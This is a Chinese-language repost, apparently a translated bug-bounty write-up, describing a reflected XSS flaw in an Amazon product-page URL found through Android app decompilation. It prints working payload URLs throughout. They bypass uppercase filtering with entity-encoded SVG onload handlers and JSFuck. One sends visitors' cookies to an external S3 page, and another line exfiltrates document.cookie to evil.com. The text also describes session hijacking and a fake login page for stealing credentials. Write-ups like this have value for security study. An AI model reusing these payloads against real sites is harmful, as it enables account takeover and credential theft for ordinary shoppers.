今天就跟大家聊聊有关发现亚马逊网站的反射型XSS漏洞的示例分析,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。
我一直对亚马逊网站的货物展示方式感兴趣,比如,这种展示方式的设计架构是啥?他们如何实现良好的用户体验呢?这些可以略从亚马逊的A/B测试策略知晓,但却无法找到他们具体的网站架构测试设计。
A/B测试是一种新兴的网页优化方法,可以用于增加转化率注册率等网页指标。简单来说,A/B测试是一种用于提升App/H5/小程序产品转化率、优化获客成本的数据决策方法。对于互联网产品来说,通过A/B测试提升点击转化率,优化获客成本已得到越来越多的关注。
一种查看亚马逊网站架构设计的方式莫过于去了解它的购物APP了。某个雨天的周五下午,我决定反编译一下亚马逊的安卓APP看看其中的代码长啥样。大概步骤是这样的:下载APK文件,使用一些在线反编译器提取其中的代码,检查其中不同文件涉及的URL链接和产品页面等信息。
通常,亚马逊产品页面链接中都包含 ‘/dp/’ 字样,大概是这样的:https://www.amazon.com/gp/masclient/dp/<product_id> ,所以我就简单的执行了 ‘/dp/’ 字段搜索:
我检查了很多产品页面URL,但唯独没见着像下图这样包含 ‘masclient’ 的产品页面URL:
https://www.amazon.com/gp/masclient/dp/B00Q7LTUK
哦,这看似是一个使用内部应用的自定义产品页面,把产品id换成其它看看会是什么反应?额,这好像有点戏,URL解析过程中未对产品id作适当检查,而且还把它全部大写了(TEST),那来看看注入HTML代码会怎样呢?就试试滚动内容的HTML <marquee> 标签吧:
https://www.amazon.com/gp/masclient/dp/%3Cmarquee%3E%3Ch2%3Ehi%20mom!
啊,太好了,URL竟然对7个不同字段进行了解析,其中一个地方就是脚本标签里:
所以像alert这样的javascript函数会被转义为ALERT,从而失效。还好,有人曾在对Yahoo.com网站的XSS漏洞挖掘中规避了这种大写转义,解决方法是这样的:先把纯文本字符转换为HTML实体字符,然后对其进行URL编码,最后用SVG标记的onload参数输出,格式像这样:
<svg onload=%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x27%3B%26%23x48%3B%26%23x69%3B%26%23x20%3B%26%23x4D%3B%26%23x6F%3B%26%23x6D%3B%26%23x27%3B%26%23x29%3B>
遇到闭合标签它会给出404错误响应,所以,这样就不可能通过<script src="evil.com/1.js"></script>这样的方式来加载我们的 javascript 文件。解决方法要这样:在DOM标签中,使用 <svg onload=javascript:alert(1)> 实现 javascript 注入,或者直接使用链接脚本中的向量来执行,像这样,我们可以添加这样的 “}’> 几个字符来突破限制,最终的URL链接就会是这样的:
https://www.amazon.com/gp/masclient/dp/'}");}JAVASCRIPTHERE;{("
由于大写转义的问题,我们在这考虑用 jsfuck 代码方式来把 javascript 代码转变为 ! ( ) + [ ] 形式的字符,例如响应出 debugger 函数的URL经 jsfuck 方式转换后是这样的:
https://www.amazon.com/gp/masclient/dp/'%7D");%7D[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]][([]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[!![]+!![]+!![]]+(!![]+[][(![]+[])[+`...
如果对URL长度没限制的话,利用这种技术可以成功注入cookie窃取代码 fetch("evil.com"+document.cookie),最终实现这种cookie窃取的URL长度会超过8000个字符。
按我的测试来看,只要URL长度超过3500个字符左右,亚马逊网站页面就会停止响应,所以,在这里,要想实现cookie窃取,我们貌似就不能利用这种 JSFuck 编码技术了。但在reddit社区中,有人建议可以用 jjencode 编码,但我测试后发现,这种 $ 符号的方式最终好像不能被正常解析。
JSFuck:是一种基于JavaScript的另类编程风格,它只使用六个不同的字符([,],(,),!,+),来编写和执行代码。它不依赖于浏览器,所以你甚至可以在 Node.js. 上运行它,转换后的代码只使用6个字符,实现的功能和转换前代码是一样的。
Chrome 浏览器67.0.3396.62后的版本,都会主动识别并阻拦XSS攻击,抛出 ERR_BLOCKED_BY_XSS_AUDITOR 响应错误。为了完成验证性测试,我采用了无内置ss auditor的Firefox (60.0.1) 浏览器。
有了对以上问题的分析之后,在这里,我构造了一个亚马逊URL链接,能让访问者重定向到另一个外部URL链接,并在该外部链接中实现对访问者cookie的窃取展示。由于访问者所有对亚马逊网站的浏览操作都会被这个构造链接记录,也就是说最终我就可以窃取访问者的亚马逊网站session。另外,我还可以在其中加入一个假冒的亚马逊登录界面,间接实现对访问用户的用户名密码信息窃取。
测试链接:
https://www.amazon.com/gp/masclient/dp/%22%7D%27%3E%3Csvg%20onload%3D%26%23x77%3B%26%23x69%3B%26%23x6E%3B%26%23x64%3B%26%23x6F%3B%26%23x77%3B%26%23x2E%3B%26%23x6C%3B%26%23x6F%3B%26%23x63%3B%26%23x61%3B%26%23x74%3B%26%23x69%3B%26%23x6F%3B%26%23x6E%3B%26%23x2E%3B%26%23x72%3B%26%23x65%3B%26%23x70%3B%26%23x6C%3B%26%23x61%3B%26%23x63%3B%26%23x65%3B%26%23x28%3B%26%23x27%3B%26%23x68%3B%26%23x74%3B%26%23x74%3B%26%23x70%3B%26%23x73%3B%26%23x3A%3B%26%23x2F%3B%26%23x2F%3B%26%23x73%3B%26%23x33%3B%26%23x2D%3B%26%23x65%3B%26%23x75%3B%26%23x2D%3B%26%23x77%3B%26%23x65%3B%26%23x73%3B%26%23x74%3B%26%23x2D%3B%26%23x31%3B%26%23x2E%3B%26%23x61%3B%26%23x6D%3B%26%23x61%3B%26%23x7A%3B%26%23x6F%3B%26%23x6E%3B%26%23x61%3B%26%23x77%3B%26%23x73%3B%26%23x2E%3B%26%23x63%3B%26%23x6F%3B%26%23x6D%3B%26%23x2F%3B%26%23x70%3B%26%23x65%3B%26%23x6E%3B%26%23x74%3B%26%23x65%3B%26%23x73%3B%26%23x74%3B%26%23x69%3B%26%23x6E%3B%26%23x67%3B%26%23x2D%3B%26%23x74%3B%26%23x61%3B%26%23x72%3B%26%23x67%3B%26%23x65%3B%26%23x74%3B%26%23x2F%3B%26%23x78%3B%26%23x73%3B%26%23x73%3B%26%23x31%3B%26%23x2E%3B%26%23x68%3B%26%23x74%3B%26%23x6D%3B%26%23x6C%3B%26%23x3F%3B%26%23x63%3B%26%23x6F%3B%26%23x6F%3B%26%23x6B%3B%26%23x69%3B%26%23x65%3B%26%23x3D%3B%26%23x27%3B%26%23x2B%3B%26%23x65%3B%26%23x73%3B%26%23x63%3B%26%23x61%3B%26%23x70%3B%26%23x65%3B%26%23x28%3B%26%23x64%3B%26%23x6F%3B%26%23x63%3B%26%23x75%3B%26%23x6D%3B%26%23x65%3B%26%23x6E%3B%26%23x74%3B%26%23x2E%3B%26%23x63%3B%26%23x6F%3B%26%23x6F%3B%26%23x6B%3B%26%23x69%3B%26%23x65%3B%26%23x29%3B%26%23x29%3B%3E
URL编码后的链接:
https://www.amazon.com/gp/masclient/dp/"}'><svg onload=&#x77;&#x69;&#x6E;&#x64;&#x6F;&#x77;&#x2E;&#x6C;&#x6F;&#x63;&#x61;&#x74;&#x69;&#x6F;&#x6E;&#x2E;&#x72;&#x65;&#x70;&#x6C;&#x61;&#x63;&#x65;&#x28;&#x27;&#x68;&#x74;&#x74;&#x70;&#x73;&#x3A;&#x2F;&#x2F;&#x73;&#x33;&#x2D;&#x65;&#x75;&#x2D;&#x77;&#x65;&#x73;&#x74;&#x2D;&#x31;&#x2E;&#x61;&#x6D;&#x61;&#x7A;&#x6F;&#x6E;&#x61;&#x77;&#x73;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x70;&#x65;&#x6E;&#x74;&#x65;&#x73;&#x74;&#x69;&#x6E;&#x67;&#x2D;&#x74;&#x61;&#x72;&#x67;&#x65;&#x74;&#x2F;&#x78;&#x73;&#x73;&#x31;&#x2E;&#x68;&#x74;&#x6D;&#x6C;&#x3F;&#x63;&#x6F;&#x6F;&#x6B;&#x69;&#x65;&#x3D;&#x27;&#x2B;&#x65;&#x73;&#x63;&#x61;&#x70;&#x65;&#x28;&#x64;&#x6F;&#x63;&#x75;&#x6D;&#x65;&#x6E;&#x74;&#x2E;&#x63;&#x6F;&#x6F;&#x6B;&#x69;&#x65;&#x29;&#x29;>
HTML 实体字符转换后的链接:
https://www.amazon.com/gp/masclient/dp/"}'><svg onload=window.location.replace(‘https://s3-eu-west-1.amazonaws.com/pentesting-target/xss1.html?cookie='+escape(document.cookie))>
在 Chrome 浏览器中弹出 alert(1) 的链接(还是采用了JSFuck 编码):
https://www.amazon.com/gp/masclient/dp/'%7D%22);%7D[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][(+(+!![]+[+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]])+[!![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+[]]]+(!!++([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+!![]]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+(+(+!![]+[+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]])+[!![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+[]]]+(!![]+[])[+[]]+(!!++([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+!![]]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+(+(+!![]+[+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]])+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+!![]]]+(![]+[])[+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]])()(+!![]);%7B(%22
要对内部APP应用进行严格安全审查,有时一个参数就可导致严重的安全漏洞。XXS payload一样也能通过混淆编码方式绕过某些限制,形成安全威胁。
看完上述内容,你们对发现亚马逊网站的反射型XSS漏洞的示例分析有进一步的了解吗?如果还想了解更多知识或者相关内容,请关注亿速云行业资讯频道,感谢大家的支持。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。